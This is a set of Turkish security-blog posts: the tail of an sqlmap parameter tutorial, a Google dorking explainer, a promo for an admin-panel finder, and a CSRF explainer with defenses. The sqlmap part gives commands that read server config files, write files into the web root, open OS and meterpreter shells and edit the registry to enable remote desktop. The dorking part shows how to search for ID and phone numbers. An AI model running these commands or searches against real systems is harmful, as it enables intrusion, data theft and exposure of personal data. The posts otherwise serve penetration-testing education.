File System Access Sekmesi: Veritabanı yönetim sistemi altında yatan dosya sistemine erişmek için kullanabileceğimiz parametrelerin bulunduğu kategorimiz.

–file-read: Test ettiğimiz sayfa üzerinde açık bulunduğu takdirde, erişim yetkimiz varsa, uzaktaki test edilen server üzerindeki belirttiğimiz yolda bulunan dosyayı okumak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –file-read=”/var/www/html/config.php”

–file-write ve –file-dest: Test ettiğimiz sayfa üzerinde açık bulunduğu takdirde, erişim yetkimiz varsa, uzaktaki test edilen server üzerindeki belirttiğimiz yolda bulunan klasör içerisine istediğimiz dosyayı yerleştirmek için kullanabileceğimiz parametrelermiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –file-write=”yuklenecekDosya.txt” –file-dest=”/var/www/html”

Operation System Access Sekmesi: Veritabanı yönetim sistemi altında yatan işletim sistemine erişmek için kullanabileceğimiz parametrelerin bulunduğu kategorimiz

–os-cmd: Test ettiğimiz sayfa üzerindeki açıktan faydalanıp, işletim sistemi üzerinde kod çalıştırabiliyor isek kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –os-cmd=”ls”

–os-shell: Test ettiğimiz sayfa üzerindeki açıklıktan faydalanıp, işletim sistemi üzerinde shell açma yetkimiz var ise kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –os-shell

–os-pwn ve –msf-path: Test ettiğimiz sayfa üzerindeki açıklıktan faydalanıp, meterpreter shell’i açma işlemini denemek istiyorsak, kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –os-pwn –msf-path /metasploitDir/msf

–os-smbrelay: Test ettiğimiz site üzerindeki açıklıktan faydalanıp, SMB Reflection Attack(MS08-068) kullanarak, meterpreter shell açmak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –os-smbrelay –msf-path /msf/dir

–os-bof: Test ettiğimiz site üzerindeki açıklıktan faydalanıp, Microsoft SQL Server 2000 ve 2005 için geçerli, “sp_replwritetovarbin” ile (MS09-004) heap-based buffer overflow yardımı ile, meterpreter shell açmak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.asp?id=1” –os-bof –msf-path /msf/dir

–priv-esc: Test ettiğimiz site üzerindeki açıklıktan faydalanıp, Metasploit’in “getsystem” komutu ile yetki yükseltme (MS10-015) faydalanarak, meterpreter shell açmak ve edinilen yetki ile işlemler denemek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –priv-esc –msf-path /msf/dir

–tmp-path: Uzak sistemdeki yolu kullanabiliyorsak, buradaki dosya yolunu belirterek özellleştirilmiş işlemler yapabilmemizi sağlayan parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –tmp-path /uzak/msf/ –os-cmd=”msfconsole”

Windows Registry Access Sekmesi: Veritabanı yönetim sistemi altında yatan işletim sisteminin registry kayıtlarına erişmek için kullanabileceğimiz parametrelerin bulunduğu kategorimiz.

–reg-read , –reg-key ve –reg-value: Test ettiğimiz site üzerindeki açıklıktan faydalanıp, registry dosyalarını okumamızı sağlayan parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.asp?id=1″  –reg-read –reg-key=”HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” –reg-value=fDenyTSConnections

–reg-add , –reg-type ve –reg-data: Test ettiğimiz site üzerindeki açıklıktan faydalanıp, registry kaydı eklemek için kullanılabilecek parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.asp?id=1″ –reg-add –reg-key=”HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” –reg-value=fDenyTSConnections –reg-type=DWORD –reg-data=0

General Sekmesi: Sqlmap tarafından kullanılacak bazı genel parametrelerin bulunduğu kategorimiz.

-s: Belirtilen .sqlite dosyası içerisinde kayıtlı session değerini yüklememizi ve işlemimize kaldığımız yerden devam etmemizde yardımcı olan fonksiyonumuz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -s /sqlite/yolu –dbs

-t: Injection testlerinde yapılan tüm HTTP trafiğini, bir dosya içerisine kaydetmek istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -t /kayit/yolu/kaydet.txt –dbs

–batch: Sqlmap’in input gerektiren bazı durumlarında, kullanıcı inputunu istemeden, sqlmap tarafından tanımlı default değerlere göre devam etmesini sağlayan parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dbs –batch

–charset: Eğer test gerçekleştirdiğimiz site üzerinde bir açık mevcutsa ve bu açık ile veri çekilebiliyorsa, veri çekilirken character encoding olarak ne kullanacağımızı sqlmap’e bildirebileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dbs –charset=utf8

–crawl: Verilen URL’den başlayarak, siteyi crawl etmemize yardımcı olan parametremiz. Değer olarak Crawl Depth alır. Crawl Depth arttıkça, işlemimiz uzar. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dbs –crawl=3

–csv-del: Dosyalar CSV(yani excel tablolarında kullandığımız format) olarak kaydedilirken, kolonlar arasındaki virgül’e göre ayrıştırılıp tablolara yerleştirilir. Bu parametremizi de default ayrıştırma olan virgül yerine belirttiğimiz bir simge ile yapabilmemizde yardımcı olur. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –csv-del=”&”

–dump-format: Sqlmap default olarak çıktı gösterme işlemini csv formatı halinde vermektedir. Eğer biz bunun, HTML ya da SQLITE olarak dump edilmesini istiyorsak, kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dump-format=HTML

–eta: Eğer test ettiğimiz sitemiz üzerinde açık varsa ve bu açıkları kullanarak dump işlemi gerçekleştirebiliyorsak, kalan zamanı öğrenebileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db -T tbl –columns –eta

–flush-session: Eğer test ettiğimiz sitemiz üzerindeki session kayıtlarını temizlemek ve yeni bir kayda başlamak istiyorsak, kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dbs –flush-session

–forms: Eğer test ettiğimiz site üzerindeki test edilen kısım, bir form ise, bunu tanımlayıp form üzerinde test işlemimizi devam ettirebileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/register.php?id=1” –dbs –forms

–fresh-queries: Test ettiğimiz site üzerinde daha önce denediğimiz ve session içinde kayıtlı bulunan query cevaplarını, session dosyasını görmezden görerek tekrardan denemek istiyorsak kullanmamız gereken parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db –tables –fresh-queries

–hex: Test ettiğimiz site üzerinden gelen verileri DBMS hex fonksiyonlarını kullanarak tanımlamak istiyorsak kullanabileceğimiz parametremiz. Örnek kullanıım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dbs –hex

–output-dir: Sqlmap ile denetlediğimiz site üzerinden gelen bilgileri dump edeceğimiz yeri default path yerine, kendi belirlediğimiz path’e kaydedilmesini istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –output-dir /kaydedilecek/yolumuz/kaydet.txt

–parse-errors: Sqlmap ile sorgu yaparak denediğimiz sitemiz üzerinden gelen cevaplar içerisindeki DBMS hata mesajlarını parse edip gösterilmesini istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dbs –parse-errors

–pivot-column: Sqlmap’in limit/offset mekanizmasının çalışmadığı (nadir) ve tablo ya da kolon isimlerini çekemediği durumlarda kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db -T tbl –pivot-column=userID

–save: Kullandığımız ayarları, başka bir testimizde tekrar edeceksek ve/veya bunları tekrar kullanmak istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -dbs –threads=4 –level=3 –risk=3 –save

–scope: Burpsuite gibi proxy log’larından elde ettiğimiz, test edeceğimiz sitelerimizi, python regexp ile ayrıştırmak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -l burpLog.log –scope=”[w]{3}?[.]?.*[.]com[.]tr?” –dbs

–test-filter: Sqlmap tarafından yapılacak testlerimizin payload’larının hepsinin değil de, bir filter’dan geçirdikten sonra kalan payload’lar tarafından yapılmasını istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –test-filter=ROW –dbs –batch

–update: Sqlmap’i güncellemek istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap –update

Miscellaneous Sekmesi: Geri kalan ne varsa bulunduran kategorimiz.

-z: Sqlmap ile yazılan uzun kodlar sonrası, sqlmap’e kısaltma olarak eklenmiş parametremiz. Bunun ile daha kısa halde kodlarımızı yazabilmekteyiz. Örnek kullanım ve karşılaştırması:

sqlmap -u “www.siteadi.com/testet.php?id=1” –batch –banner –dump -D db -T tbl
sqlmap -u “www.siteadi.com/testet.php?id=1″ -z=”bat,ban,du,D=db,T=tbl”

–alert: Sqlmap tarafından sql injection bulunduğu zaman çalıştırılmasını istediğimiz OS komutumuz/komutlarımız. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –alert=ls

–answers: Sqlmap’in soracağı sorulara verilecek cevapları tanımladığımız parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –answers=”quit=N,follow=N”

–beep: Sqlmap tarafından sql injection bulunduğu zaman bilgisayarımızın biplemesini sağlayan komutumuz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –beep

–cleanup: Sqlmap tarafından tanımlanan özel UDF’lar ve tabloları temizlemek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db -T tbl –columns –cleanup

–dependencies: Sqlmap dependencie’lerinin eksik olup olmadığını denetlemek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap –dependencies

–disable-coloring: Sqlmap tarafından çıktılarda default olarak renklendirme yapılır. Eğer biz bu renklendirmeleri görmek istemiyorsak kullanabileceğimiz fonksiyonumuz. Örnek kullanım:

sqlmap –disable-coloring

–gpage: Google dork ile arama yaparken, sayfa numarası belirterek aramayı kısıtlayabileceğimiz parametremiz. Örnek kullanım:

sqlmap -g “.php?id=” –gpage=3 –dbs

–identify-waf: Test ettiğimiz sitemiz üzerinde bir WAF/IPS/IDS koruması olup olmadığını test etmek istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –identify-waf

–mobile: HTTP başlığı içerisinde gönderilen User-Agent değerini değiştirerek, kendimizi mobil bir cihazdan giriyormuş gibi göstermek istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –mobile

–page-rank: Google dork araması sonucu çıkan sonuçların page rank değerlerini bize döndüren parametremiz. Örnek kullanım:

sqlmap -g “.php?id=” –page-rank –dbs

–purge-output: Sqlmap tarafından, site testi sonrası dump edilen verileri silmek istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap –purge-output

–smart: Sqlmap site üzerinde teste başlamadan önce, kendisine verilen parametreleri basit bir testle denetleyip injectable olup olmadığı bilgisini bize gösterir. Bu parametre ile, eğer basit test sonucunda muhtemelen başarısız olacağımız sonucu sqlmap tarafından bize bildirilirse, sqlmap o adresi taramaz. Örnek kullanım:

sqlmap -g “.php?id=” –smart –dbs

–sqlmap-shell: Yazıldığı takdirde sqlmap shell’ine giriş yapabildiğimiz parametremiz. Örnek kullanım:

sqlmap –sqlmap-shell

–wizard: Sqlmap ile alıştırmalara yeni başlayan, daha alışamayan ya da hangi parametreleri gireceğini bilemeyen kullanıcılarına adım adım değer sorarak, kullanıcının işini kolaylaştıran parametremiz. Örnek kullanım:

sqlmap –wizard

Sqlmap ile kullanabileceğiniz tüm özellikler şu an için bu kadar. Ayrıca ekstradan özelliklerde çıkmayan bir konuya da, yazı bitmeden değinmekte fayda var.

Parametresiz(Temiz) URL’lerde Injection

Sqlmap,  örneklerde verildiği gibi parametreli linklerde herkes tarafından kullanılmakta. Ancak peki ya parametre verilmediğinde?

Parametre verilmediği ya da karışık olduğu durumlarda sqlmap developer’ları ben ve siz değerli userlar’ını yarı yolda bırakmamış ve bu parametreleri işaretleyebilecekleri bir işaret oluşturmuş. “*” karakteri ile bunu sağlayabilmekteyiz. Aşağıda verilen iki örneği incelediğinizde, ne demek istediğimi daha iyi anlayacaksınız.

Tüm örneklerde kullandığımız link tipi:

sqlmap -u “www.siteadi.com/buSeferkiFarkli.php?di=1” –dbs

Temiz url’lerde kullandığımız link tipi:

sqlmap -u “www.siteadi.com/buSeferkiFarkli/1” –dbs
sqlmap -u “www.siteadi.com/buSeferkiFarkli/di/1
” –dbs

 

The use of English: https://github.com/sqlmapproject/sqlmap/wiki/Usage

GHDB (Google Hacking Database) Nedir ?

333
Standart

GHDB (Google Hacking Database) Nedir ?

Google, tüm web sitelerini tarayıp arayan kişiye, aradığı konu hakkında çok zekice sonuçlar çıkarmaktadır. Bunları yapabilmek için tüm web sitelerini gezerek elde ettiği verileri veritabanında tutmaktadır. Yaptığımız arama sonucunda istediğimiz bilgileri sıralayarak bize sunar. Bize sunduğu bilgiler arasında bilginin kaynağı olan web sitesi için zafiyet oluşturacak bilgiler de barınmaktadır. Google arama teknikleri ile derinlemesine araştırma yaparak kişisel bilgilere, e-mail adreslerine, web adresinizdeki açıklıkları vb. bilgilere ulaşmak mümkündür. Yapılan bu pasif bilgi toplama tekniğine GHDB (Google Hacking Database) adı verilmektedir.

Google Nasıl Çalışır ?

Siz daha sorgunuzu gerçekleştirmeden önce Google çalışmaya başlar. Google örümcekleri web sayfalarına istek yapar, getirdiği web sayfalarındaki bağlantıları izleyerek bunların gösterdiği sayfaları getirir ve sonra bu sayfalardaki bağlantıları izler . Kısacası web sayfalarını gezinerek bağlantıları elde eder ve elde ettiği bağlantıları gezinerek sayfalardaki diğer bağlantıları de elde eder. Bu tekniğe Crawling adı verilmektedir. Elde ettiği her bağlantıyı ziyaret ederek bir birine bağlı onlarca web sayfasına erişir ve işlem tamamlandığında büyük bir veri elde eder. Yani siz daha sorgu gerçekleştirmeden Google milyonlarca web sayfasını ziyaret edip sizin için gerekli index bilgilerini çıkartır. İndex bilgisi ile sayfa içeriği farklı yerlerde barındırılır.

111

Yukarıdaki şemayı incelediğinizde sorgu gerçekleştirilirken hangi aşamalardan geçerek kullanıcıya verilerin sıralandığını görebilirsiniz. Gerçekleştirilen sorgu ilk olarak Google Web Server tarafından karşılanıyor. Web Server aldığı isteği Index Server’a iletir. Bu Server’da sayfalar tek tek incelenmeden Index içerisinde arama yapılarak daha hızlı sonuçlar elde edilir. Elde edilen sonuçlar Document Server’a gönderilir. Bulunan Index’e ait belgeler hızlı bir şekilde çıkartılarak kullanıcıya sunulur. Ayrıca gerçekleştirilen sorguya birden fazla sunucu aynı anda karşılık verdiğinden daha hızlı cevap vermektedir. Bir sorgunun cevaplanma süresi yaklaşık yarım saniyedir. Tüm bu adımlar gerçekleşirken Google sizin için 200 den fazla sorgu ile sizin için en iyi sonuçları çıkarmayı hedefler.

Google Arama Teknikleri

Arama kutucuğuna aramak istediğiniz sorguyu yazarak arama yapabilmek mümkün, lakin onlarca çok sonuç var ki işimize yarayacak bilgilere ulaşmamız için daha fazla filtreleme kullanmalıyız. Bu nedenle basit arama tekniği yerine gelişmiş arama tekniğini tercih etmeliyiz. Google gelişmiş arama yapabilmemiz için bize bazı operatörler sunuyor. Operatörleri karakter ve kelime olarak iki grupta inceleyeceğiz.

1. Karakter Operatörleri

222

Örnekler;

veri + gizleme   –   İçerisinde ’veri’ ve ’gizleme’ kelimesi geçen sayfaları listeler.

veri – gizleme – İçerisinde ’veri’ kelimesi olup, ’gizleme’ kelimesi olmayan sayfaları listeler.

“veri gizleme” – İçerisinde ” veri gizleme ” öbeği geçen sayfaları listeler.

veri * gizleme – İçerisinde ’*’ karakteri yerine herhangi bir kelime bulunan sayfaları listeler. (veri madenciliği veri gizleme gibi)

# veri | gizleme – İçerisinde ’veri’ ya da ’gizleme’ kelimelerinden birinin ya da her ikisinin geçtiği sayfaları listeler.

veri & gizleme – İçerisinde ’veri’ ve ’gizleme’ kelimelerinin her ikisinin de geçtiği sayfaları listeler.

(“veri gizleme” | “malware analizi”) – içerisinde ’ veri gizleme’ ya da ’ malware analizi ’ geçen sayfaları listeler.

2. Kelime Operatörleri

Kelime operatörleri ile yapacağımız aramaları daha kesin sonuçlara bağlayabiliriz. Hedefi git gide küçülterek, bilgi çöplüğünden ziyade daha elle tutulur veriler elde edeceğiz.

Aşağıda operatörlerin yaptığı işlemler anlatılmıştır. Ardından örnekle pekiştirilmiştir.

site: Belirttiğiniz adrese ait sayfaları listeler.
site: turksec.net

intitle: Belittiğimiz kelimeyi ya da kelimeleri sayfa başlığında arar ve sonuçları listeler.
intitle: web security

allintitle: Belittiğiniz birden fazla kelimenin tamamını sayfa başlığında içeren sayfaları listeler.
allintitle: web security

inurl: Belirttiğiniz kelime web sitelerinin URL’ inde aranır. Site operatörüne benzer farkı; site operatörü host’a odaklanır inurl ise URL in herhangi bir yerinde (host,parametre,değer) bulunması yeterlidir.
inurl:web security

allinurl: Belirttiğiniz kelimelerin tümünü web sitelerinin URL’ inde içeren web sayfalarını listeler.
allinurl: web security

inanchor: Belittiğiniz veri ile ilişkili olan bağlantıları listeler.
web security   inanchor: XSS

intext: Web sayfalarının içeriğinde arama yaparak aramaları kısıtlayabiliriz.
intext: dom tabanlı xss

allintext: Web sayfalarının içeriğinde arama yaparak aramaları kısıtlayabiliriz. Tüm kelimelerin içerikte var olması gerekir.
allintext: dom tabanlı xss

cache: Hedef adresin Google önbelleğindeki son halini görüntüleyebilirsiniz. En son önbelleğin ne zaman güncellendiği vb. bilgilere de ulaşmak mümkündür.
cache: turksec.net

filetype: Filtrelediğimiz uzantıdaki dosyaları arayacaktır.
web security filetype: pdf

info: Belirttiğimiz web adresi ile alakalı web adreslerini listeler.
info: turksec.net

link: Tanımladığımız link’e ait sayfaları listeler.
link: turksec.net

related: Belirttiğimiz web adresine benzer yapıda olan sayfaları listeler.
related: google.com

insubject:   Belirttiğimiz kelimeleri içeren içeriğe sahip web sayfalarını listeler.
insubject:”web güvenliği”

define: Aradığımız kelime ile alakalı sayfaları listeler.
define: “Php pdo”

groups: Bir topluluk veya gruba ait bilgi toplamak istiyorsak, groups dork ile aramamızı sınırlandırabiliriz.
groups: phpkonf

(Google groups: Google tarafından ücretsiz olarak sağlanan çevirimiçi gruplar ve mail listesi servisidir. Google Groups kullanarak, ilgi alanlarına göre gruplar bulunabilir ve üye olunabilir.)

author: Yazara ait bilgileri listelemeyi sağlar.
author: TurkSec
ext: filetype dorku ile aynı işlemi görmektedir. Aradığımız dosya uzantılarını filtreleyebiliriz.
ext: sql

maps: Aradığımız lokasyona ait bilgileri bulabiliriz.
maps: Türk Hava Kurumu Üniversitesi

location: Google Haberlerdeki sorgunuza konum eklerseniz, belirtilen konuma ait haberleri listeleyecekir.
location: ankara

source: Sorgumuza kaynak ekleyerek aradığımız makalelerin, dökümanların kaynağını sınırlandırabiliriz.
RFI source: TurkSec

book: Aradığınız kitap hakkında bilgi bulabilirsiniz.
book: network security 

daterange: Aradığınız tarih aralığı ile aramanızı filtreleyebilirsiniz.
daterange: 1990 – 2000

numrange: Aradığınız aralıklarda numaralar ile aramanızı kısıtlayabiliriz. Tc kimlik numaraları, telefon numaraları gibi bilgileri bulmak için bu operatörü kullanabilirsiniz.
numrange:05071111111-05541231212

 

Exploits: https://www.exploit-db.com/google-hacking-database/

TurkSec Panel Bulucu

Standart

Merhaba arkadaşlar sizlere  hedef sitenin admin panelini bulmak için kullanabileceğiniz  “TurkSec Panel Bulucu” programını tanıtıcağım. Program java ile kodlandı ve JRE 8 ile derlendi o yüzden programı çalıştırabilmek için java.com dan javanın son sürümünü indirip kurmanız lazım.

Javayı yükledikten sonra TurkSec Panel Bulucu uygulamasına girin. “Dizin dosyası seç” butonuna tıklayarak ekte vermiş olduğum admins.txt dosyasını seçin. Ben elimdeki panel uzantılarını ekledim ama siz yinede geliştirebilirsiniz. Ardından hedef sitenizin URL adresini girin ve “Adresi sabitle” butonuna basıp Taramaya başlayın.

tspb

Soru: Çalışma mantığı nedir?
Cevap: Dosyadaki dizin ve dosya listesini çeker. Site üzerinde bunları dener. Bulduğunu düşündüklerini ekrana verir. Piyasadakilerden farklı algoritması vardır. Netlik değeri yüksektir. False positive değeri düşüktür. Özellikle havijde rastladığımız bugların hiçbirini barındırmaz. MultiThread çalışır. Sayfaları 5’er 5’er dener.

Soru: Https destekler mi?
Cevap: Evet.

Soru: Alt klasörleri dener mi?
Cevap: Recursive mantıkla çalışmaz. Url için yazdığın dizinin altında deneme yapar. Her dizin için ayrı tarama yapman gerekir.

Soru: Yanılma payı var mıdır?
Cevap: Her zaman her programda vardır. Ama piyasadakilerden artısı çoktur.

Soru: Peki programı özel yapan nedir?
Cevap: Status code bazlı çalışmaz, 200 döndüren 404 sayfalarını da tespit eder. Uzantı bazlı çalışır, yani diğer bi deyişle, php nin 404 ü ile php yi kıyaslar, jsp nin 404 ü ile jsp’yi kıyaslar.

Soru: Hangi durumlarda yanılabilir?
Cevap: Birden fazla “custom” error sayfası olan ve bunları rastgele döndüren sunucularda. Bağlantı gidip gelme veya firewall tarafından bloklanma durumlarında.

PROGRAMI İNDİRMEK İÇİN TIKLAYIN

Cross Site Request Forgery Nedir?

csrf
Standart

CSRF ya da XSRF olarak kısaltılabilen Cross Site Request Forgery (Siteler Arası İstek Sahtekârlığı), zafiyeti barındıran web uygulamasına yapılan bir isteğin, uygulama üzerinden yapıldığının anlaşılamamasından kaynaklanan bir açık türüdür. Yani Session Riding olarak da bilinen CSRF açıkları, web sitesine giden isteklerin, site üzerinden gidip gitmediğini kontrol eden bir mekanizmanın eksikliğinden dolayı meydana gelmektedir.

CSRF zafiyetiyle yapılabilecekler, web uygulamasının kullanıcıya verdiği yetkiyle doğru orantılıdır. Saldırgan, bazen bir form ile bazen de bir img etiketi vasıtasıyla kurbanın çeşitli istekler yapmasını sağlayabilir. Bu sırada kurban kendisine yaptırılan istekten habersizdir. Saldırının gerçekleşmesi için gönderilen JavaScript veya HTML kaynakların çalışması için kurbanın uygulama üzerinde çevrimiçi bir halde olması gerekir.

Örneğin, saldırgan CSRF açığı bulunan bir bankanın web sitesinde işlem yapan bir kullanıcıyı, para transferi yaptırmaya zorlayabilir. Ya da saldırgan, kurbanın sosyal medya hesabından başka bir kullanıcıya mesaj göndermesini sağlayabilir. CSRF zafiyetinin neden olabileceği pek çok senaryoyu akla getirmek mümkündür.

CSRF ve XSS Farkı

CSRF’nin oluşmasında web sitesinin kullanıcıya ait web tarayıcısına duyduğu güvenin suistimali söz konusuyken; XSS’nin oluşmasının temelinde kullanıcının, web sitesine sağladığı güvenin suistimali yatmaktadır. Bir CSRF saldırısının meydana gelmesi için session (oturum) kimliğinin doğrulanmış olması gerekmektedir. XSS’te ise buna gerek yoktur. Açık bulunan web sitesinde girdiler üzerinde herhangi bir doğrulama ya da escaping işlemi yapılmadığı için ortaya çıkar.

XSS’te, sunucu bir doğrulama işlemi gerektirmez ya da birincil kontrol mekanizması olarak girdiyi escaping işlemine tabi tutmazsa saldırgan; türlerine göre uzaktan kontrol edilebilen, veritabanında kalıcı olan ya da ekrana geri yansıtılabilen cookie, url parametresi, form alanları gibi girdi alanları ve istek parametrelerinin herhangi bir çeşidi vasıtasıyla uygun girdiyi gönderebilir. CSRF içinse şu örnek aydınlatıcı olabilir: Banka hesabınıza giriş yapmış olduğunuzu aynı anda başka bir sekmede bir sosyal medya hesabınızın açık olduğunu varsayalım. Saldırganın sosyal medya hesabınız üzerinden size gönderdiği bağlantıya tıkladığınızı düşünelim. Siz, bağlantıya farklı bir site üzerindeyken tıklamış dahi olsanız saldırganın gönderdiği zararlı URL arkaplanda saldırıyı gerçekleştirmiş olacak ve senaryoya göre para transferi yapmış olacaktır. Çünkü oturum bilginiz tarayıcıda hâlâ aktif ve tarayıcı session id’nize sahiptir. Halbuki para transferi formunda alınmış bir önlem bu saldırının gerçekleşmesini engelleyecektir. Ayrıca XSS’nin CSRF saldırılarına neden olabileceği ihtimali de unutulmamalıdır.

CSRF Açıklarını Tespit Etme

CSRF açığının tespiti için seçilebilir en kolay yol elbette Netsparker, Acunetix gibi otomatize edilmiş programların kullanılmasıdır. Bunun yanı sıra OWASP CSRFTester, Fiddler, Burp Suite gibi programlarla da bunu yapmak mümkündür.

Manuel olarak yapılan testlerde en bilinen yol, her kullanıcı için sabit olmayan ve tahmin edilemez token’lerin bulunup bulunmadığını araştırmaktır. Bu araştırmanın hedefi bir takım silme, ekleme, değiştirme gibi fonksiyonları çalıştıran linkler ve formlar olmalıdır.

CSRF Nasıl Exploit Edilir?

Örnek bir form üzerinden göstermek gerekirse; aşağıdaki e-posta değiştirme formu CSRF zafiyeti barındırmaktadır. Form üzerinden GET metodu ile değişiklik yapılabilmektedir. “degistir.php” dosyasının yaptığı değişiklik sonucunda e-posta adresi “email” parametresine atanır. Sonuç olarak güncel e-posta adresi “ornekeposta@adresi.com” olarak tanımlanır.

1

2

Bu formu kullanan kurbanın e-posta adresini değiştirmek için kurban tarafından çalıştırılması gereken örnek kodlardan biri aşağıdaki gibidir:

3
“Height” ve “width” değerinin 0 (sıfır) olarak belirlenmesiyle kurban tarafından -ayrıntılı bir inceleme dışında- fark edilemez hale getirilen zararlı URL’nin bulunduğu img tag’ının yerleştirildiği herhangi bir sayfa, kurban tarafından görüntülendiğinde mevzu bahis zararlı kod çalışmış olacaktır. Örnekte e-posta adresinin değiştirilmesi gibi bir senaryo izlense de CSRF açığının neden olabileceği pek çok durum meydana gelebilir.

Yukarıdaki örnekten bağımsız olarak img dışında da saldırıyı gerçekleştirme yolları mevcuttur:

script src
4

iframe src
5
‘Image’ nesnesi
6

‘XMLHTTP’ nesnesi / IE
7

Sayfa açıldığında POST metoduyla çalışan form
8

Sayfa açıldığında POST metoduyla çalışan form (alternatif)
9

Alınabilecek Önlemler ve Korunma Yöntemleri

Geliştiriciler İçin Genel Çözümler:

  • Değiştirme, silme gibi önemli fonksiyonlar POST metoduyla yapılabilir.
  • Her form için kullanılması zahmetli olsa da belirli formlarda Captcha uygulamalarına başvurulabilir.
  • Yapılan her isteğin HTTP Referrer başlığı kontrol edilebilir. Bununla birlikte Referrer başlığının tam olarak güvenliği sağlaması beklenmemelidir. Çünkü manipülasyona açıktır.
  • URL Rewriting yöntemi kullanılarak URL’lerin geçerli oturumda, karmaşık olarak belirlenmesi sağlanabilir. Yine de tam bir koruma sağlamayacaktır.
  • CSRF token’leri kullanılabilir. Bu token’lerin her form için yeniden oluşturulması, sadece oturumu açan kullanıcıya ait olması gerekir.
  • Bunlar haricinde, geliştirme ortamlarına göre çeşitli önlemler de bulunmaktadır. ASP.NET’te AntiForgeryToken ve ViewState gibi önlemler mevcut iken JAVA’da OWASP’ın geliştirdiği OWASP-CSRFGuard projesi mevcuttur. Diğer yandan PHP’de hem oluşturulacak class’lar ile hem de framework’lerde bulunan koruma özellikleriyle güvenlik sağlanabilir.

Kullanıcılar Açısından Önlemler:

  • Uygulamadan mutlaka çıkış yapılmalıdır. Yani var olan oturum kapatılarak siteden ayrılmak gerekir.
  • Çerezleri temizlemek önlemler arasında sayılabilir. Özellikle tarayıcıların, her kapanışta çerezleri silmesi ayarlanabilir.
  • Mozilla Firefox için RequestPolicy ve Google Chrome-Mozilla Firefox için uMatrix eklentileri, yüzde yüz koruma sağlamasa da, kullanılabilir. Ayrıca NoScript eklentisi de CSRF tehditlerini azaltmaktadır.
  • Bilinmeyen e-postalar açılmamalı, filtrelenen -imaj gibi- içerikler görüntülenmemelidir.

malcolm_extra